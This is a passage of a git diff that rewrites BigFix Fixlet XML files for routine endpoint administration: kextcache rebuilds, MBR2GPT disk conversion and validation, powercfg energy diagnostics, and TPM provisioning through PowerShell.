+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait sh -c &quot;kextcache -system-prelinked-kernel&quot;
+wait sh -c &quot;kextcache -system-caches&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes
index b966b10b0..cbbb938c7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Convert MBR to GPT - Windows (23810).bes	
@@ -1,79 +1,79 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - MBR2GPT Convert MBR to GPT - Windows
-  ID       : 23810
-  Author   : strawgate
-  Domain   : BES
-  Imported : 2017-03-13T13:17:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - MBR2GPT Convert MBR to GPT - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will use the Windows 10 MBR2GPT executable to convert the disk from MBR to GPT.</P>
-<P>Your system WILL NOT BOOT after running this fixlet unless you use a related Vendor-Specific command to switch the machine to boot using UEFI. </P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>exists file &quot;MBR2GPT.exe&quot; of system x64 folder</Relevance>
-    <Relevance>not exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-03-11</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-parameter &quot;mbr2gpt&quot;=&quot;{pathname of file &quot;MBR2GPT.exe&quot; of system x64 folder}&quot;
-
-// Validate Disk Configuration within Windows
-waithidden &quot;{parameter &quot;mbr2gpt&quot;} /convert /allowFullOS
-
-//Conversion completed successfully.
-//continue if {exit code of action != 1}
-
-//Conversion was cancelled by the user
-continue if {exit code of action != 1}
-
-//Conversion failed due to an internal error
-continue if {exit code of action != 2}
-
-//Conversion failed due to an initialization error
-continue if {exit code of action != 3}
-
-//Conversion failed due to invalid command-line parameters
-continue if {exit code of action != 4}
-
-//Conversion failed due to error reading the geometry and layout of the selected disk.
-continue if {exit code of action != 5}
-
-//Conversion failed because one or more volumes on the disk is encrypted.
-continue if {exit code of action != 6}
-
-//Conversion failed because the geometry and layout of the selected disk do not meet requirements.
-continue if {exit code of action != 7}
-
-//Conversion failed due to error while creating the EFI system partition.
-continue if {exit code of action != 8}
-
-//	Conversion failed due to error installing boot files.
-continue if {exit code of action != 9}
-
-//Conversion failed due to error while applying GPT layout.
-continue if {exit code of action != 10}
-
-//	Conversion to GPT layout succeeded, but some boot configuration data entries could not be restored.
-//continue if {exit code of action != 100}
-
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - MBR2GPT Convert MBR to GPT - Windows
+  ID       : 23810
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2017-03-13T13:17:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - MBR2GPT Convert MBR to GPT - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use the Windows 10 MBR2GPT executable to convert the disk from MBR to GPT.</P>
+<P>Your system WILL NOT BOOT after running this fixlet unless you use a related Vendor-Specific command to switch the machine to boot using UEFI. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>exists file &quot;MBR2GPT.exe&quot; of system x64 folder</Relevance>
+    <Relevance>not exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-03-11</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;mbr2gpt&quot;=&quot;{pathname of file &quot;MBR2GPT.exe&quot; of system x64 folder}&quot;
+
+// Validate Disk Configuration within Windows
+waithidden &quot;{parameter &quot;mbr2gpt&quot;} /convert /allowFullOS
+
+//Conversion completed successfully.
+//continue if {exit code of action != 1}
+
+//Conversion was cancelled by the user
+continue if {exit code of action != 1}
+
+//Conversion failed due to an internal error
+continue if {exit code of action != 2}
+
+//Conversion failed due to an initialization error
+continue if {exit code of action != 3}
+
+//Conversion failed due to invalid command-line parameters
+continue if {exit code of action != 4}
+
+//Conversion failed due to error reading the geometry and layout of the selected disk.
+continue if {exit code of action != 5}
+
+//Conversion failed because one or more volumes on the disk is encrypted.
+continue if {exit code of action != 6}
+
+//Conversion failed because the geometry and layout of the selected disk do not meet requirements.
+continue if {exit code of action != 7}
+
+//Conversion failed due to error while creating the EFI system partition.
+continue if {exit code of action != 8}
+
+//	Conversion failed due to error installing boot files.
+continue if {exit code of action != 9}
+
+//Conversion failed due to error while applying GPT layout.
+continue if {exit code of action != 10}
+
+//	Conversion to GPT layout succeeded, but some boot configuration data entries could not be restored.
+//continue if {exit code of action != 100}
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes
index 9ad030d30..5b7899928 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - MBR2GPT Validate MBR to GPT - Windows (23811).bes	
@@ -1,80 +1,80 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - MBR2GPT Validate MBR to GPT - Windows
-  ID       : 23811
-  Author   : strawgate
-  Domain   : BES
-  Imported : 2017-03-13T13:17:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - MBR2GPT Validate MBR to GPT - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will use the Windows 10 MBR2GPT executable to convert the disk from MBR to GPT.</P>
-<P>Your system WILL NOT BOOT after running this fixlet unless you use a related Vendor-Specific command to switch the machine to boot using UEFI. </P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>exists file &quot;MBR2GPT.exe&quot; of system x64 folder</Relevance>
-    <Relevance>not exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-03-11</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-parameter &quot;mbr2gpt&quot;=&quot;{pathname of file &quot;MBR2GPT.exe&quot; of system x64 folder}&quot;
-
-// Validate Disk Configuration within Windows
-waithidden &quot;{parameter &quot;mbr2gpt&quot;} /validate /allowFullOS
-
-//Conversion completed successfully.
-//continue if {exit code of action != 1}
-
-//Conversion was cancelled by the user
-continue if {exit code of action != 1}
-
-//Conversion failed due to an internal error
-continue if {exit code of action != 2}
-
-//Conversion failed due to an initialization error
-continue if {exit code of action != 3}
-
-//Conversion failed due to invalid command-line parameters
-continue if {exit code of action != 4}
-
-//Conversion failed due to error reading the geometry and layout of the selected disk.
-continue if {exit code of action != 5}
-
-//Conversion failed because one or more volumes on the disk is encrypted.
-continue if {exit code of action != 6}
-
-//Conversion failed because the geometry and layout of the selected disk do not meet requirements.
-continue if {exit code of action != 7}
-
-//Conversion failed due to error while creating the EFI system partition.
-continue if {exit code of action != 8}
-
-//	Conversion failed due to error installing boot files.
-continue if {exit code of action != 9}
-
-//Conversion failed due to error while applying GPT layout.
-continue if {exit code of action != 10}
-
-//	Conversion to GPT layout succeeded, but some boot configuration data entries could not be restored.
-//continue if {exit code of action != 100}
-
-exit 0</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - MBR2GPT Validate MBR to GPT - Windows
+  ID       : 23811
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2017-03-13T13:17:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - MBR2GPT Validate MBR to GPT - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will use the Windows 10 MBR2GPT executable to convert the disk from MBR to GPT.</P>
+<P>Your system WILL NOT BOOT after running this fixlet unless you use a related Vendor-Specific command to switch the machine to boot using UEFI. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>exists file &quot;MBR2GPT.exe&quot; of system x64 folder</Relevance>
+    <Relevance>not exists Selects &quot;* from Win32_DiskPartition Where Type = &apos;GPT: System&apos;&quot; of wmi</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-03-11</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;mbr2gpt&quot;=&quot;{pathname of file &quot;MBR2GPT.exe&quot; of system x64 folder}&quot;
+
+// Validate Disk Configuration within Windows
+waithidden &quot;{parameter &quot;mbr2gpt&quot;} /validate /allowFullOS
+
+//Conversion completed successfully.
+//continue if {exit code of action != 1}
+
+//Conversion was cancelled by the user
+continue if {exit code of action != 1}
+
+//Conversion failed due to an internal error
+continue if {exit code of action != 2}
+
+//Conversion failed due to an initialization error
+continue if {exit code of action != 3}
+
+//Conversion failed due to invalid command-line parameters
+continue if {exit code of action != 4}
+
+//Conversion failed due to error reading the geometry and layout of the selected disk.
+continue if {exit code of action != 5}
+
+//Conversion failed because one or more volumes on the disk is encrypted.
+continue if {exit code of action != 6}
+
+//Conversion failed because the geometry and layout of the selected disk do not meet requirements.
+continue if {exit code of action != 7}
+
+//Conversion failed due to error while creating the EFI system partition.
+continue if {exit code of action != 8}
+
+//	Conversion failed due to error installing boot files.
+continue if {exit code of action != 9}
+
+//Conversion failed due to error while applying GPT layout.
+continue if {exit code of action != 10}
+
+//	Conversion to GPT layout succeeded, but some boot configuration data entries could not be restored.
+//continue if {exit code of action != 100}
+
+exit 0</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes
index 6f6d8c252..b764b66db 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21716).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Power Efficiency Probe - Windows
-  ID       : 21716
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-24T09:09:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Power Efficiency Probe - Windows</Title>
-    <Description><![CDATA[<P>Invokes PowerCFG on the Endpoint to print out diagnostic information.</P>
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-delete run.bat
-
-createfile until _end_
-cd "{pathname of windows folder}\temp"
-powercfg -energy
-powercfg -requests > "energy-requests.txt"
-_end_
-
-move __createfile run.bat
-
-wait run.bat]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Power Efficiency Probe - Windows
+  ID       : 21716
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-24T09:09:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Power Efficiency Probe - Windows</Title>
+    <Description><![CDATA[<P>Invokes PowerCFG on the Endpoint to print out diagnostic information.</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+cd "{pathname of windows folder}\temp"
+powercfg -energy
+powercfg -requests > "energy-requests.txt"
+_end_
+
+move __createfile run.bat
+
+wait run.bat]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes
index 1f9ac3e42..8975189ee 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Power Efficiency Probe - Windows (21726).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Power Efficiency Probe - Windows
-  ID       : 21726
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-24T15:34:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Power Efficiency Probe - Windows</Title>
-    <Description><![CDATA[<P>Invokes PowerCFG on the Endpoint to print out diagnostic information.</P>
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-delete run.bat
-
-createfile until _end_
-cd "{pathname of windows folder}\temp"
-powercfg -energy
-powercfg -requests > "energy-requests.txt"
-_end_
-
-move __createfile run.bat
-
-wait run.bat]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Power Efficiency Probe - Windows
+  ID       : 21726
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-24T15:34:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Power Efficiency Probe - Windows</Title>
+    <Description><![CDATA[<P>Invokes PowerCFG on the Endpoint to print out diagnostic information.</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+delete run.bat
+
+createfile until _end_
+cd "{pathname of windows folder}\temp"
+powercfg -energy
+powercfg -requests > "energy-requests.txt"
+_end_
+
+move __createfile run.bat
+
+wait run.bat]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes
index 70f6cb005..5db3f5d8c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Provision Trusted Platform Module - Windows (23094).bes	
@@ -1,241 +1,241 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Provision Trusted Platform Module - Windows
-  ID       : 23094
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-21T09:27:59
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Provision Trusted Platform Module - Windows</Title>
-    <Description><![CDATA[<P>Provisions the trusted platform module on the device. The device must have an activated TPM in the BIOS before this fixlet will be relevant.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
-    <Relevance>/* Verify the TPM isn&apos;t fully provisioned */ (not boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) or (not boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) or (not boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action24089">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to provision the trusted platform module, set a random password on TPM ownership, and backup the password to the _BESData folder.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-
-folder create "{parameter "Storage"}"
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-param (
-    $OutFolder = "."
-)
-
-import-module Bitlocker
-
-$guid = [guid]::NewGuid().Guid
-
-# If we are running on a version newer than Windows 7  use the new TPM cmdlets
-if ([Environment]::OSVersion.Version -gt (new-object 'Version' 6,2)) {{
-	#Physical Presence Allowed
-	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
-
-	#No Physical Presence Allowed
-	$TPMResult = Initialize-Tpm -allowclear
-
-	#Set TPM Owner Key
-	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
-
-	#Backup Owner Key to Registry
-	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
-
-} else {{ # If we are running on Windows 7 use the old manage-bde method
-	manage-bde -tpm -turnon
-	manage-bde -tpm -takeownership "$GUID"
-}
-
-$GUID >> "$OutFolder\TPMOwnerAuthorization.txt"
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
-
-action requires restart]]></ActionScript>
-    </Action>
-    <Action ID="Action24090">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to provision the trusted platform module and&amp;nbsp;set a password on TPM ownership.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-action uses wow64 redirection {not x64 of operating system}
-
-parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-
-parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
-
-folder create &quot;{parameter &quot;Storage&quot;}&quot;
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-param (
-    $OutFolder = &quot;.&quot;
-)
-
-import-module Bitlocker
-
-$guid = [guid]::NewGuid().Guid
-
-# If we are running on a version newer than Windows 7  use the new TPM cmdlets
-if ([Environment]::OSVersion.Version -gt (new-object &apos;Version&apos; 6,2)) {{
-	#Physical Presence Allowed
-	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
-
-	#No Physical Presence Allowed
-	$TPMResult = Initialize-Tpm -allowclear
-
-	#Set TPM Owner Key
-	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
-
-	#Backup Owner Key to Registry
-	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
-
-} else {{ # If we are running on Windows 7 use the old manage-bde method
-	manage-bde -tpm -turnon
-	manage-bde -tpm -takeownership &quot;$GUID&quot;
-}
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder &quot;{parameter &quot;Storage&quot;}&quot;
-
-action requires restart</ActionScript>
-    </Action>
-    <Action ID="Action24091">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to provision the trusted platform module</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-action uses wow64 redirection {not x64 of operating system}
-
-parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-
-parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
-
-folder create &quot;{parameter &quot;Storage&quot;}&quot;
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-param (
-    $OutFolder = &quot;.&quot;
-)
-
-import-module Bitlocker
-
-
-# If we are running on a version newer than Windows 7  use the new TPM cmdlets
-if ([Environment]::OSVersion.Version -gt (new-object &apos;Version&apos; 6,2)) {{
-	#Physical Presence Allowed
-	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
-
-	#No Physical Presence Allowed
-	$TPMResult = Initialize-Tpm -allowclear
-
-} else {{ # If we are running on Windows 7 use the old manage-bde method
-	manage-bde -tpm -turnon
-}
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder &quot;{parameter &quot;Storage&quot;}&quot;
-
-action requires restart</ActionScript>
-    </Action>
-    <Action ID="Action24092">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to provision the trusted platform module allowing a physical presence requirement, set a random password on TPM ownership, and backup the password to the _BESData folder.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-
-folder create "{parameter "Storage"}"
-
-delete __createfile
